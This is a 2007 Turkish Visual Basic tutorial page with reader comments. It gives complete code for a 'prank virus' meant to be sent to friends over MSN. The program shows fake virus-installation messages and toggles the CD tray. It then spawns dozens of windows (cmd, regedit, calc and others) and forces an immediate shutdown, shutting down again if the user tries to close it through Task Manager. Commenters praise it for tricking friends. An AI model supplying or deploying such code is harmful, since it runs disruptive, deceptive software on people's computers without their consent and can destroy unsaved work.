Favorilerine Ekle | Giriş Sayfan Yap | Tavsiye Et

 

Kurs Tanıtım Sayfası | Süper Üye Kimdir? | Menü Tasarımı Konulu Örnek Ders
Kod İndir| Hazır Kodlar | Makaleler| İpuçları | VB .NET Kursu | Dersler | Forum | Alt Bölümler | Servisler
    Merhaba Misafir
    anasayfa » visual basic makaleleri » Msn de Şaka Virüsü Yapalım...
Üye Girişi
Kullanıcı Adı:  
Şifre : 
Kaydet ?
Siteden tam olarak faydalanabilmek için üye olmalısınız.
Unuttuğunuz şifrenizi öğrenebilmek için kayıt sırasında verdiğiniz Hatırlatma Cevabı'nı bilmeniz gereklidir.
Şifre hatırlatma işlevini sadece 3 defa kullanma hakkınız vardır.
Kullanıcı adını ve şifresini unutan üyelere email ile yardım verilmez.

Aktivasyon Gelmedi mi?Aktivasyon mesajınız email adresinize gelmedi mi?
Buraya tıklayarak bir kez daha aktivasyon mesajı gönderilmesini sağlayabilirsiniz.
Lütfen email hesabınızın BULK ve SPAM klasörlerini de kontrol ediniz.
Rastgele Makale

Doğru Düzgün Soru Sormanın Yolları (How To Ask Questions The Smart Way)

Yazar: mahoni06
Yazan: Eric Steven Raymond
Çeviren: Yalçın Kolukısa ve Osman Yüksel



Webmasterlar
Sitenize Ekleyin!
Sitenizde "Son Eklenen 10 Visual Basic Yazısı"'nı göstermek ve içeriğini zenginleştirmek için buraya tıklayınız.

Vbasicmaster.com'a link verin!
Aşağıdaki minik banneri sitenize eklemek için tıklayın!

Üye Sayısı:
Ziyaretçiler nerede?
Yayın № : 9342
Yayın Tar:10.09.2007
Yazar : cesurgursel
Hit :2655

Bu Yazarın Yazıları Sadece bu yazarın makale göster
Bu Yazıyı Tavsiye Et

Formumuza ;
1 tane picture1
1 tane label1 (labeli picturenin içine yerleştirin...)
1 tane timer ekleyin ismi timer1 olsun.
form1 in propetysindeki Borderstlil özelligi "0 - none" olsun.
form1 in propertysindeki showintaskbar özelligi de False olsun.

Tüm yukarıdakileri yaptıktan sonra Aşağıdaki kodu (general declarations) yani kod bölümüne ekleyelim... Bu basit ve zararsız virüsü çok seveceksiniz... Programi tamamen ben kodladim... Program çalışırken eger kapatmak isterse ctrl alt del den bilgisayar kapanacaktır :):):) Ben de kredi istiyorum :)

' Kopyalamaya Buradan Başla...

Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Form_Load()
On Error Resume Next
MsgBox "Msn Şaka Virüsü Aldınız... Panik Yapmayınız...", vbOKOnly, "Bilgi..."
Move (Screen.Width - Width) / 2, (Screen.Height - Height) / 2
Label1.Width = 0
Timer1.Enabled = True
Timer1.Interval = 10
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Label1.Width = Label1.Width + 10
If Label1.Width >= Picture1.Width Then
Timer1.Enabled = False
MsgBox "Virüs Yükleme Başarılı...", vbOKOnly, "Bilgi..."
mciExecute ("Set CDAudio door Open")
MsgBox "Cd Romunuz Kontrol Ediliyor...", 64, "Bilgi..."
mciExecute ("Set CDAudio door closed")
MsgBox "Çalışıyor Galiba Emin değilim...", 48, "Uyari !!!"
mciExecute ("Set CDAudio door Open")
mciExecute ("Set CDAudio door closed")
MsgBox "Neyse Bu kadar şaklabanlık yeter :D...", 16, "Hehehehe"
MsgBox "Sen boş işlerle ugraşmayı seviyormuşsun...", 48, "Uyari..."
MsgBox "Kapat Bakalım Şunları :D:D:D", 16, "Zuhahahaha...."
Dim a
For a = 1 To 10
Shell "mspaint"
Shell "control panel"
Shell "cmd"
Shell "regedit"
Shell "calc"
Next
MsgBox "Yoruldum Bu kadar Yeter... Hadi Bye Bye...", 48, "Bye Bye"
MsgBox "H@ckerCesur Msn Şaka Virüsü Korkmayınız Lütfen...", vbCritical, "Uyari !!!"
MsgBox "iletisim msn: cesur@hackermail.com Hadi Görüşürüz...", vbCritical, "Uyari !!!"
Shell ("shutdown -s -t 1")
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
Select Case UnloadMode
Case vbAppTaskManager
MsgBox "Bu Program Burdan Kapanmaz Dostum", 16, "Hata !!"
Shell ("shutdown -s -t 1")
End Select
End Sub

' Oldugu gibi alın kodları Hadi Byeee





Yorumlar, eklemeler ve düşünceler
        gerçekten güzel bi program. benim bazı arkadaşlarım msn de smileylere gıcık olur. onları kızdırmak için harika bişey bu. yazana çok teşekkür ediyorum. saygılarımla...

   Karissimo, 12.09.2007 14:01
   güzel program işe yarar :)

   bektasozan, 18.09.2007 21:36
   gzle benziyo teşekkürler

   bjkbjk, 18.09.2007 23:23
   ii olmus eglenecegiz yine :D


   niz4m, 13.10.2007 14:52
   aga süper bişey ya bu

   bartez, 15.10.2007 15:02
   eline saglık guzel bısı

   serhatyt, 25.10.2007 10:24
   bravo gerçekten çok güzel bir kod arkadaşları tongaya getirmek için özellikle...

   berax, 30.10.2007 22:03
   valla helal olsun
ya ama beyler ben daha yenıyım hıç bır seyde bılmıyorum
kredı kazanmam gerek lutfen yardımcı olsanaıza
neyse program çok çıtır olmus

bırde yaw bana vısual basıc lasımda nereden ındırebılırım bılıyorsanız lutfen yardımcı olun lütfen...

   opvg, 07.11.2007 18:32
   ellerine sağlık cok güsel olmuş :):):)

   okowish, 18.11.2007 16:28
   Begendiginize sevindim arkadaşlar. Bunun türevlerini de yapabilirsiniz Mantık aynı. ;)


   cesurgursel, 24.01.2008 08:32
   sağol abi

   haydar111, 28.04.2008 22:30
© Hakan Ersöz 2000-2013| Üyelik Sözleşmesi | | Ödeme Bildirimi
Sitemizden yenilikleri hemen öğrenin, pop upları engelleyin, chat yapın... ToolBarımızı indirin:
Vasicmaster Toolbar'ı indirin